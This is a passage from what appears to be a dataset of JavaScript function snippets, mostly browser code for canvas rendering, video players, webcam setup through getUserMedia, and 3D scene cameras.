retrieve context for drawing\\n\\t\\tvar context = canvas.getContext(\\\"2d\\\");\\n\\t\\t\\t\\t\\n\\t\\t// Start by clearing the canvas\\n\\t\\tcontext.clearRect(0, 0, canvas.width, canvas.height);\\n\\t\\t\\n\\t\\t// draw frame according to time\\n\\t\\t\\n\\t\\tif (reset) {\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\t\\n\\t\\tcontext.drawImage(video, 0, 0, canvas.width, canvas.height);\\n \\n }\",\n \"function renderUIAfterFrameChange(videoNode) {\\n\\n const video = videoNode.data.videoCore\\n\\n /* Rendering the current time bar */\\n renderCurrentPlaybackBar(videoNode)\\n\\n /* Updating the canvas resolution */\\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\\n\\n if (alpha1 < alpha2) {\\n canvas.width = video.videoWidth + alpha1\\n canvas.height = video.videoHeight\\n } else {\\n canvas.width = video.videoWidth\\n canvas.height = video.videoHeight + alpha2\\n }\\n\\n canvasRatio = canvas.width / canvas.height\\n videoRatio = video.videoWidth / video.videoHeight\\n\\n currentVideoDurationLabel.innerText = formatTimeFromSeconds((\\n videoNode.data.metadata.baseDuration - videoNode.data.metadata.startTime + video.currentTime\\n ).toFixed(2))\\n \\n if (videoNode.data.metadata.ratio == 'fit') {\\n if (window.currentRatio == 'strech') {\\n document.querySelector('.toogle-fit').click()\\n }\\n context.drawImage(\\n video, canvas.width / 2 - videoRatio * canvas.height / 2, 0, videoRatio * canvas.height, canvas.height\\n ) \\n } else if (videoNode.data.metadata.ratio == 'strech') {\\n if (window.currentRatio === 'fit') {\\n document.querySelector('.toogle-strech').click()\\n }\\n context.drawImage(\\n video, 0, 0, canvas.width, canvas.height\\n )\\n }\\n}\",\n \"function init() {\\n\\t\\t\\tconstructVideoPlayerContent(elems.container);\\n\\t\\t\\tshowControls();\\n\\t\\t\\t_.event(elems.btnBigPlay, 'click', play);\\n\\t\\t\\t_.event(elems.buttons.play, 'click', playPause);\\n\\t\\t\\t_.event(elems.video, 'click', pause);\\n\\t\\t\\t_.event(elems.buttons.volume, 'click', mute);\\n\\t\\t\\t_.event(elems.buttons.fullscreen, 'click', fullscreen);\\n\\t\\t\\t_.event(elems.video, 'loadedmetadata', function(e) {\\n\\t\\t\\t\\tplaybackRate(opts.speed);\\n\\t\\t\\t\\tvideoProgress = new Range(opts.progress / elems.video.duration, elems.ranges.video, {\\n\\t\\t\\t\\t\\tonDrop: (pct) => progress(pct, true),\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\tvolumeSlider = new Range(opts.volume, elems.ranges.volume, {\\n\\t\\t\\t\\t\\tonDrag: volume,\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\tvolume(opts.volume);\\n\\t\\t\\t\\tprogress(opts.progress);\\n\\t\\t\\t\\ttimestamp(0, elems.video.duration);\\n\\t\\t\\t\\tif (opts.autoplay) play();\\n\\t\\t\\t});\\n\\t\\t\\t_.event(elems.video, 'timeupdate', progUpdate);\\n\\t\\t\\t_.event(elems.main, 'mousemove', showControls);\\n\\t\\t\\t_.event(elems.controls, 'mouseenter', () => showControls(true));\\n\\t\\t\\t_.event(elems.controls, 'mouseleave', () => showControls(false));\\n\\t\\t\\t_.event(window, 'keyup', handleKeyPress);\\n\\t\\t\\t_.event(document, 'fullscreenchange', handleFullscreenChange); // PREFIXES WHY\\n\\t\\t\\t_.event(document, 'msfullscreenchange', handleFullscreenChange);\\n\\t\\t\\t_.event(document, 'mozfullscreenchange', handleFullscreenChange);\\n\\t\\t\\t_.event(document, 'webkitfullscreenchange', handleFullscreenChange);\\n\\n\\t\\t\\tif (opts.fullscreen) fullscreen(true);\\n\\t\\t\\telems.video.src = opts.src;\\n\\t\\t}\",\n \"function setup() {\\n // set up canvas\\n let canvas = createCanvas(canvasW, canvasH);\\n canvas.parent('canvas');\\n\\n}\",\n \"init() {\\n this.isCanvasSupported() ? this.ctx = this.canvas.getContext('2d') : false;\\n\\n if (this.ctx) {\\n this.playBtn.addEventListener('click', () => {\\n this.playBtn.classList.add('active');\\n this.startTheGame();\\n });\\n\\n this.retryBtn.addEventListener('click', () => {\\n this.reset();\\n this.retryBtn.classList.add('inactive');\\n this.startTheGame();\\n });\\n }\\n }\",\n \"initBoard() {\\n this.canvas = document.createElement('canvas');\\n this.ctx = this.canvas.getContext('2d');\\n this.width = this.canvas.width = this.tileWidth * this.columns;\\n this.height = this.canvas.height = this.tileHeight * this.rows;\\n this.canvas.style.border = \\\"none\\\";\\n this.initStage();\\n }\",\n \"function initialize() {\\n webcamElement = document.getElementById('webcam');\\n canvasElement = document.getElementById('canvas');\\n webcam = new Webcam(webcamElement, 'user', canvasElement);\\n snapButtonElement = document.getElementById('capture');\\n startButtonElement = document.getElementById('retake');\\n}\",\n \"function videoReady() { }\",\n \"setUpCanvas(){\\n var w = window.innerWidth;\\n var h = window.innerHeight;\\n this.$canvas = $(` {\n video.onloadedmetadata = () => {\n resolve(video)\n }\n })\n}","function cameraSetup(){\n\t// Get access to the camera!\n\tif('mediaDevices' in navigator && 'getUserMedia' in navigator.mediaDevices) {\n\t\t// Not adding `{ audio: true }` since we only want video now\n\t\tnavigator.mediaDevices.getUserMedia({\n\t\t\t//Kamera Constrains:\n\t\t\t\n\t\t\tvideo: \n\t\t\t{\n\t\t\t\twidth: {ideal: 50},\n\t\t\t\theight: {ideal: 50},\n\t\t\t\tfacingMode: ['environment']\n\t\t\t}\n\t\t\t}).then(function(stream) {\n\t\t\t\tstreamVideo = stream;\n\t\t\t\tcameraOk = true;\n\t\t\t\tvideo.srcObject = stream;\n\t\t\t\tvideo.play();\n\n\t\t\t\tvar track = stream.getVideoTracks()[0];\n\t\t\t\t//Taschenlampe einschalten:\n\t\t\t\tconst imageCapture = new ImageCapture(track)\n\t\t\t\tconst photoCapabilities = imageCapture.getPhotoCapabilities().then(() => {\n\t\t\t\t\ttrack.applyConstraints({\n\t\t\t\t\t\tadvanced: [{torch: true}]\n\t\t\t\t\t});\n\t\t\t\t});\n\n\n\n\t\t\t});\n\t\t}\n\n\n\t}","async function setupCamera() {\n const video = document.getElementById('video');\n const canvas = document.getElementById('canvas');\n if (!video || !canvas) return null;\n\n let msg = '';\n log('Setting up camera');\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\n if (!navigator.mediaDevices) {\n log('Camera Error: access not supported');\n return null;\n }\n let stream;\n const constraints = {\n audio: false,\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\n };\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\n else constraints.video.height = { ideal: window.innerHeight };\n try {\n stream = await navigator.mediaDevices.getUserMedia(constraints);\n } catch (err) {\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\n log(`Camera Error: ${msg}: ${err.message || err}`);\n return null;\n }\n // @ts-ignore\n if (stream) video.srcObject = stream;\n else {\n log('Camera Error: stream empty');\n return null;\n }\n const track = stream.getVideoTracks()[0];\n const settings = track.getSettings();\n if (settings.deviceId) delete settings.deviceId;\n if (settings.groupId) delete settings.groupId;\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\n log(`Camera active: ${track.label}`); // ${str(constraints)}\n log(`Camera settings: ${str(settings)}`);\n canvas.addEventListener('click', () => {\n // @ts-ignore\n if (video && video.readyState >= 2) {\n // @ts-ignore\n if (video.paused) {\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n } else {\n // @ts-ignore\n video.pause();\n }\n }\n // @ts-ignore\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\n });\n return new Promise((resolve) => {\n video.onloadeddata = async () => {\n // @ts-ignore\n canvas.width = video.videoWidth;\n // @ts-ignore\n canvas.height = video.videoHeight;\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n resolve(true);\n };\n });\n}","async function setupCamera() {\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available');\n }\n\n const video = document.getElementById('video');\n video.width = videoWidth;\n video.height = videoHeight;\n\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: mobile ? undefined : videoWidth,\n height: mobile ? undefined : videoHeight,\n },\n });\n video.srcObject = stream;\n\n return new Promise((resolve) => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n}","async function setupCamera() {\n const video = document.getElementById('video');\n video.width = maxVideoSize;\n video.height = maxVideoSize;\n\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'environment',\n width: mobile ? undefined : maxVideoSize,\n height: mobile ? undefined: maxVideoSize}\n });\n video.srcObject = stream;\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n } else {\n const errorMessage = \"This browser does not support video capture, or this device does not have a camera\";\n alert(errorMessage);\n return Promise.reject(errorMessage);\n }\n}","async function setupCamera() {\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available');\n }\n\n const video = document.getElementById('webcam-video');\n video.width = videoWidth;\n video.height = videoHeight;\n\n // const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: videoWidth,\n height: videoHeight,\n },\n });\n video.srcObject = stream;\n\n return new Promise((resolve) => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n}","async function setupCamera() {\n const video = document.getElementById('video');\n video.width = maxVideoSize;\n video.height = maxVideoSize;\n\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: mobile ? undefined : maxVideoSize,\n height: mobile ? undefined: maxVideoSize}\n });\n video.srcObject = stream;\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n } else {\n const errorMessage = \"This browser does not support video capture, or this device does not have a camera\";\n alert(errorMessage);\n return Promise.reject(errorMessage);\n }\n}","function startCamera() {\n\n let constraints = {\n audio: false,\n video: {\n width: 640,\n height: 480,\n frameRate: 30\n }\n }\n\n video.setAttribute('width', 640);\n video.setAttribute('height', 480);\n video.setAttribute('autoplay', '');\n video.setAttribute('muted', '');\n video.setAttribute('playsinline', '');\n\n // Start video playback once the camera was fetched.\n function onStreamFetched(mediaStream) {\n video.srcObject = mediaStream;\n // Check whether we know the video dimensions yet, if so, start BRFv4.\n function onStreamDimensionsAvailable() {\n if (video.videoWidth === 0) {\n setTimeout(onStreamDimensionsAvailable, 100);\n } else {\n\n }\n }\n onStreamDimensionsAvailable();\n }\n\n window.navigator.mediaDevices.getUserMedia(constraints).then(onStreamFetched).catch(function() {\n alert(\"No camera available.\");\n });\n}","function startvideo() {\n webcam.style.width = document.width + 'px';\n webcam.style.height = document.height + 'px';\n webcam.setAttribute('autoplay', '');\n webcam.setAttribute('muted', '');\n\twebcam.setAttribute('playsinline', '');\n\n var constraints = {\n audio: false,\n video: {\n facingMode: 'user'\n }\n }\n \tnavigator.mediaDevices.getUserMedia(constraints).then(function success(stream) {\n webcam.srcObject = stream;\n initImages();\n animate();\n });\n}","function loadCamera() {\n // setup camera capture\n videoInput = createCapture(VIDEO);\n videoInput.size(400, 300);\n videoInput.position(0, 0);\n videoInput.id(\"v\");\n var mv = document.getElementById(\"v\");\n mv.muted = true;\n}","async function setupCamera() {\r\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\r\n throw new Error(\r\n 'Browser API navigator.mediaDevices.getUserMedia not available');\r\n }\r\n\r\n const camera = document.getElementById('camera');\r\n camera.width = cameraWidth;\r\n camera.height = cameraHeight;\r\n\r\n const mobile = isMobile();\r\n\r\n const stream = await navigator.mediaDevices.getUserMedia({\r\n 'audio': false,\r\n 'video': {\r\n facingMode: 'user',\r\n width: mobile ? undefined : cameraWidth,\r\n height: mobile ? undefined : cameraHeight,\r\n },\r\n });\r\n camera.srcObject = stream;\r\n\r\n return new Promise((resolve) => {\r\n camera.onloadedmetadata = () => {\r\n resolve(camera);\r\n };\r\n });\r\n}","async start() {\n if (this.webcamConfig.facingMode) {\n util.assert((this.webcamConfig.facingMode === 'user') ||\n (this.webcamConfig.facingMode === 'environment'), () => `Invalid webcam facing mode: ${this.webcamConfig.facingMode}. ` +\n `Please provide 'user' or 'environment'`);\n }\n try {\n this.stream = await navigator.mediaDevices.getUserMedia({\n video: {\n deviceId: this.webcamConfig.deviceId,\n facingMode: this.webcamConfig.facingMode ?\n this.webcamConfig.facingMode :\n 'user',\n width: this.webcamVideoElement.width,\n height: this.webcamVideoElement.height\n }\n });\n }\n catch (e) {\n // Modify the error message but leave the stack trace intact\n e.message = `Error thrown while initializing video stream: ${e.message}`;\n throw e;\n }\n if (!this.stream) {\n throw new Error('Could not obtain video from webcam.');\n }\n // Older browsers may not have srcObject\n try {\n this.webcamVideoElement.srcObject = this.stream;\n }\n catch (error) {\n console.log(error);\n this.webcamVideoElement.src = window.URL.createObjectURL(this.stream);\n }\n // Start the webcam video stream\n this.webcamVideoElement.play();\n this.isClosed = false;\n return new Promise(resolve => {\n // Add event listener to make sure the webcam has been fully initialized.\n this.webcamVideoElement.onloadedmetadata = () => {\n resolve();\n };\n });\n }","function cameraStart() {\n if(selfie === true){\n cameraView.classList.replace(\"user\", \"environment\");\n cameraOutput.classList.replace(\"user\", \"environment\");\n cameraSensor.classList.replace(\"user\", \"environment\");\n constraints = rearConstraints;\n selfie = false;\n }\n else{\n cameraView.classList.replace(\"environment\", \"user\");\n cameraOutput.classList.replace(\"environment\", \"user\");\n cameraSensor.classList.replace(\"environment\", \"user\");\n constraints = userConstraints;\n selfie = true;\n }\n\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStartFront() { \n frontCamera = true\n var constraints = { video: { facingMode: \"user\" }, audio: false };\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n cameraView = document.querySelector(\"#webcam\");\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cam() {\n snapBtn.addEventListener('click', enroll);\n // detectButton.addEventListener('click', detect);\n navigator.mediaDevices.getUserMedia({\n audio: false,\n video: {\n width: 500,\n height: 500\n }\n })\n .then(stream => {\n video.srcObject = stream;\n video.onloadedmetadata = video.play()\n })\n .catch(err => console.error(err));\n}","_switchCamera() {\n if (this.isVideoTrack() && this.videoType === _service_RTC_VideoType__WEBPACK_IMPORTED_MODULE_10___default.a.CAMERA && typeof this.track._switchCamera === 'function') {\n this.track._switchCamera();\n\n this._facingMode = this._facingMode === _service_RTC_CameraFacingMode__WEBPACK_IMPORTED_MODULE_7___default.a.ENVIRONMENT ? _service_RTC_CameraFacingMode__WEBPACK_IMPORTED_MODULE_7___default.a.USER : _service_RTC_CameraFacingMode__WEBPACK_IMPORTED_MODULE_7___default.a.ENVIRONMENT;\n }\n }","function getCamera(){\n document.getElementById('ownGifs').style.display=\"none\"\n document.getElementById('createGif').style.display=\"none\";\n document.getElementById('camera').style.display=\"inline-block\";\n var video = document.querySelector('video');\n stream = navigator.mediaDevices.getUserMedia(constraints)\n .then(function(mediaStream) {\n video.srcObject = mediaStream;\n video.onloadedmetadata = function(e) {\n video.play(); // Starting reproduce video cam\n };\n recorder = RecordRTC(mediaStream, { \n // disable logs\n disableLogs: true,\n type: \"gif\",\n frameRate: 1,\n width: 360,\n hidden: 240,\n quality: 10});\n })\n .catch(function(err) { \n\n }); // always check for errors at the end.\n\n \n}","async function setupCamera (config) {\n const { videoWidth, videoHeight } = config\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available'\n )\n }\n\n const video = document.getElementById('video')\n video.width = videoWidth\n video.height = videoHeight\n\n const mobile = isMobile()\n const stream = await navigator.mediaDevices.getUserMedia({\n audio: false,\n video: {\n facingMode: 'user',\n width: mobile ? undefined : videoWidth,\n height: mobile ? undefined : videoHeight\n }\n })\n video.srcObject = stream\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video)\n }\n })\n}","function cameraStart() {\r\n navigator.mediaDevices\r\n .getUserMedia(constraints)\r\n .then(function(stream) {\r\n track = stream.getTracks()[0];\r\n cameraView.srcObject = stream;\r\n })\r\n .catch(function(error) {\r\n console.error(\"Oops. Something is broken.\", error);\r\n });\r\n}","function cameraStart() {\r\n navigator.mediaDevices\r\n .getUserMedia(constraints)\r\n .then(function(stream) {\r\n track = stream.getTracks()[0];\r\n cameraView.srcObject = stream;\r\n })\r\n .catch(function(error) {\r\n console.error(\"Oops. Something is broken.\", error);\r\n });\r\n}","async start() {\n if (this.webcamConfig.facingMode) {\n _tensorflow_tfjs_core__WEBPACK_IMPORTED_MODULE_0__[\"util\"].assert((this.webcamConfig.facingMode === 'user') ||\n (this.webcamConfig.facingMode === 'environment'), () => `Invalid webcam facing mode: ${this.webcamConfig.facingMode}. ` +\n `Please provide 'user' or 'environment'`);\n }\n try {\n this.stream = await navigator.mediaDevices.getUserMedia({\n video: {\n deviceId: this.webcamConfig.deviceId,\n facingMode: this.webcamConfig.facingMode ?\n this.webcamConfig.facingMode :\n 'user',\n width: this.webcamVideoElement.width,\n height: this.webcamVideoElement.height\n }\n });\n }\n catch (e) {\n // Modify the error message but leave the stack trace intact\n e.message = `Error thrown while initializing video stream: ${e.message}`;\n throw e;\n }\n if (!this.stream) {\n throw new Error('Could not obtain video from webcam.');\n }\n // Older browsers may not have srcObject\n try {\n this.webcamVideoElement.srcObject = this.stream;\n }\n catch (error) {\n console.log(error);\n this.webcamVideoElement.src = window.URL.createObjectURL(this.stream);\n }\n // Start the webcam video stream\n this.webcamVideoElement.play();\n this.isClosed = false;\n return new Promise(resolve => {\n // Add event listener to make sure the webcam has been fully initialized.\n this.webcamVideoElement.onloadedmetadata = () => {\n resolve();\n };\n });\n }","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function (stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function (error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function startVideo(){\n //gets the webcam, takes object as the first param, video is key, empty object as param\n navigator.getUserMedia(\n {video: {}},\n //whats coming from our webcam, setting it as source\n stream =>video.srcObject = stream,\n err => console.log(err))\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function setupCamera() {\n camera = new PerspectiveCamera(35, config.Screen.RATIO, 0.1, 300);\n camera.position.set(0, 8, 20);\n //camera.rotation.set(0,0,0);\n //camera.lookAt(player.position);\n console.log(\"Finished setting up Camera...\"\n + \"with x\" + camera.rotation.x + \" y:\" + camera.rotation.y + \" z:\" + camera.rotation.z);\n }","async function setupCamera() {\n let depthStream = await DepthCamera.getDepthStream();\n const depthVideo = document.getElementById('depthStream');\n depthVideo.srcObject = depthStream;\n return DepthCamera.getCameraCalibration(depthStream);\n}","function startVideo() {\n navigator.getUserMedia(\n { \n video: \n {\n //the ideal part is imp, it helps to get 16:9 ratio also\n height : { ideal : window.innerHeight } ,\n width : { ideal : window.innerWidth }\n } \n } ,\n stream => video.srcObject = stream,\n err => console.error(err)\n ) \n}","function cameraStart() {\n //the getUserMedia method to access the camera\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = track;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is horribly broken.\", error);\n });\n}","function cameraStart() {\n var flagCamera = true;\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function (stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n localStream = track;\n })\n .catch(function (error) {\n flagCamera = false;\n console.error(\"Oops. Something is broken.\", error);\n }).then(function () {\n if (flagCamera)\n visibleC();\n });\n }","_initVideoStream () {\n const getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia ||\n navigator.mozGetUserMedia || navigator.msGetUserMedia\n if (!getUserMedia) {\n throw new Error('Webcam feature not supported! :(')\n }\n\n getUserMedia.call(navigator, { video: true }, (stream) => {\n this._stream = stream\n this._video.onloadedmetadata = this._onVideoReady.bind(this)\n this._video.src = window.URL.createObjectURL(stream)\n }, (err) => {\n throw err\n })\n }","function getVideo() {// getUserMedia must have MediaStreamConstraints\n navigator.mediaDevices.getUserMedia({ video: true, audio: false}) // returns promise\n .then(MediaStream => {\n console.log(MediaStream); // MediaStream is an object\n video.srcObject = MediaStream; // video.srcObject is different to teacher video\n video.play();\n }).catch(err => {\n console.error(`Oh no!! You need to allow the site to use your webcam, ${err}`);\n alert(`Please reload and allow the site to access your webcam`);\n })\n}","function startVideo() {\n navigator.getUserMedia(\n { video: {} },\n stream => video.srcObject = stream,\n error => console.error(error)\n )\n}","function callUser(user) {\n getCam()\n .then(stream => {\n const video = document.getElementById(\"selfview\");\n try {\n video.srcObject = stream;\n } catch (error) {\n video.src = URL.createObjectURL(stream);\n }\n // document.getElementById(\"selfview\").srcObject = stream;\n\n /*if (window.URL) {\n document.getElementById(\"selfview\").src = window.URL.createObjectURL(stream);\n } else {\n document.getElementById(\"selfview\").src = stream;\n }*/\n\n toggleEndCallButton();\n caller.addStream(stream);\n localUserMedia = stream;\n caller.createOffer().then(function(desc) {\n caller.setLocalDescription(new RTCSessionDescription(desc));\n channel.trigger(\"client-sdp\", {\n \"sdp\": desc,\n \"room\": user,\n \"from\": id\n });\n room = user;\n });\n\n })\n .catch(error => {\n console.log('an error occured', error);\n })\n}","function setCamera()\n{\n var v = 0.0025; // camera tool speed\n var r = 950.0; // camera to origin distance\n \n var alphaX = v * camRotationX * Math.PI;\n var alphaY = v * camRotationY * Math.PI;\n \n alphaX = Math.max(alphaX, -0.5 * Math.PI)\n alphaX = Math.min(alphaX, 0.0)\n \n var sX = Math.sin(alphaX);\n var cX = Math.cos(alphaX);\n \n var sY = Math.sin(alphaY);\n var cY = Math.cos(alphaY);\n \n camera.position.x = r * cX * sY;\n camera.position.y = r * (-sX);\n camera.position.z = r * cX * cY;\n \n // aim the camera at the origin\n camera.lookAt(new THREE.Vector3(0,0,0));\n}","function startCamera() {\n Webcam.set({\n width: 320,\n height: 240,\n image_format: 'jpeg',\n jpeg_quality: 90\n });\n Webcam.attach('#my_camera');\n}","async function cameraStart() {\n\n await faceapi.nets.faceLandmark68TinyNet.loadFromUri(\"models\");\n await faceapi.nets.tinyFaceDetector.loadFromUri('models')\n\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function captureCamera(capture) {\r\n navigator.mediaDevices.getUserMedia({\r\n video: true\r\n })\r\n .then(function (stream) {\r\n myvideo.srcObject = stream;\r\n myvideo.play();\r\n capture && capture(stream);\r\n })\r\n .catch(function (err) {\r\n console.error(err);\r\n alert(\"Ups, we need your camera! Please refresh the page and start again\");\r\n });\r\n}","async function setupCam() {\n navigator.mediaDevices.getUserMedia({\n video: true\n }).then(mediaStream => {\n vid.srcObject = mediaStream;\n }).catch((error) => {\n console.warn(error);\n });\n await knn.load();\n setTimeout(loop, 50);\n}","function getVideo() {\n\tnavigator.mediaDevices.getUserMedia({video: true, audio: false})\n\t\t.then(localMediaStream => {\n\t\t\tconsole.log(localMediaStream);\n\t\t\tvideo.src = window.URL.createObjectURL(localMediaStream);\n\t\t\t//MediaStream is an object and needs to be changed to be a URL\n\t\t\tvideo.play();\n\t\t\t//this updates so that the camera shouldn't just be one frame\n\t\t\t//if inspected, blob is the video being caught\n\t\t})\n\t\t.catch(err => {\n\t\t\tconsole.error(`WELP ERROR`, err);\n\t\t});\n}","function setupCamera() {\n // const camera = new PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);\n const camera = new PerspectiveCamera(45, window.innerWidth / window.innerHeight, 0.1, 1000);\n camera.position.set(0, -distance,height / 2);\n camera.up = new Vector3(0,0,1);\n camera.lookAt(new Vector3(0, 0, height / 2));\n return camera;\n}","async function setupWebcam() {\n if (navigator.mediaDevices.getUserMedia) {\n const stream = await navigator.mediaDevices.getUserMedia({\n \"audio\": false,\n \"video\": {\n width: {\n min: 640,\n max: 640\n },\n height: {\n min: 480,\n max: 480\n }\n }\n });\n\n webcam.srcObject = stream;\n\n return new Promise((resolve) => {\n webcam.onloadedmetadata = () => {\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\n\n canvasDims = [canvas.height, canvas.width];\n\n resolve(webcam);\n };\n });\n }\n}","get camera() {return this._p.camera;}","function setVideoDevice(device) {\n\t\tconsole.log(\"[StationIDReader] Using device for video stream: \");\n\t\tconsole.log(device);\n\t\tif (navigator.getUserMedia) { \n\t\t //navigator.getUserMedia({video: true}, handleVideo, videoError);\n\t\t //navigator.getUserMedia({video: { facingMode: { exact: \"environment\" } } }, handleVideo, videoError);\n\t\t var constraints = {\n\t\t \tvideo: {deviceId: {exact: device.deviceId}}\n\t\t };\n\t\t navigator.getUserMedia(constraints, handleVideo, videoError);\n\t\t}\n\t\telse {\n\t\t\talert(\"unable to create video\")\n\t\t}\n\t}","function captureCamera_candidate(callback) {\n navigator.mediaDevices.getUserMedia({ audio: true, video: true }).then(function(camera) {\n callback(camera);\n }).catch(function(error) {\n alert('Unable to capture your camera. Please check console logs.');\n console.error(error);\n });\n}","get camera () {return this._p.camera;}","setCamera() {\r\n // set up camera\r\n this.camera = new Camera({\r\n time: this.time,\r\n sizes: this.sizes,\r\n renderer: this.renderer,\r\n debug: this.debug,\r\n config: this.config\r\n });\r\n\r\n // add to scene\r\n this.scene.add(this.camera.container);\r\n\r\n // update camera position per frame\r\n this.time.on('update', () => {\r\n if (this.world && this.world.car) { // if car is on the scene\r\n this.camera.target.x = this.world.car.chassis.object.position.x;\r\n this.camera.target.y = this.world.car.chassis.object.position.y;\r\n this.camera.target.z = this.world.car.chassis.object.position.z;\r\n this.camera.direction.x = this.world.car.movement.direction.x;\r\n this.camera.direction.y = this.world.car.movement.direction.y;\r\n }\r\n });\r\n }","function webcamToVideo()\n{\n\tn \t\t\t = navigator\n\tn.getUserMedia = n.getUserMedia || n.webkitGetUserMedia || n.mozGetUserMedia || n.msGetUserMedia;\n\twindow.URL \t = window.URL || window.webkitURL;\n\tn.getUserMedia(\n\t\t{video:true}, \n\t\tfunction(stream)\n\t\t{\n\t\t\tvideo.src = window.URL.createObjectURL(stream);\n\t\t\tlocalMediaStream = stream;\n\t\t},\n\t\tonCameraFail\n\t);\n}","function getVideo() {\n // getting someone's video webcam\n navigator.mediaDevices.getUserMedia({ video: true, audio: false}) // this returns a promise\n .then(localMediaStream => {\n console.log(localMediaStream);\n //video.src = localMediaStream;\n // still need to convert it to some sort of url to make it work\n video.src = window.URL.createObjectURL(localMediaStream); // now it works but only one frame\n video.play(); // now it's a live stream :)\n })\n .catch(err => {\n console.error(`Oupsy Daisy!`, err);\n }); // if it doesn't work shows an error (like oupsy daisy you need to allow acess to the camera)\n}","function requestWebcam(video) {\n return new Promise((resolve, reject) => {\n const options = { video: { height: 420 }, audio: false };\n navigator.mediaDevices\n .getUserMedia(options)\n .then((stream) => {\n video.addEventListener(\n 'loadedmetadata',\n (_) => {\n video.play();\n resolve(video);\n },\n { once: true }\n );\n\n video.srcObject = stream;\n })\n .catch((e) => {\n reject(e);\n });\n });\n}","function reloadVideo()\n{\n // From Mozilla Development Network site\n\n // Older browsers might not implement mediaDevices at all, so we set an empty object first\n if (navigator.mediaDevices === undefined) {\n navigator.mediaDevices = {};\n }\n\n // Some browsers partially implement mediaDevices. We can't just assign an object\n // with getUserMedia as it would overwrite existing properties.\n // Here, we will just add the getUserMedia property if it's missing.\n if (navigator.mediaDevices.getUserMedia === undefined) {\n navigator.mediaDevices.getUserMedia = function(constraints) 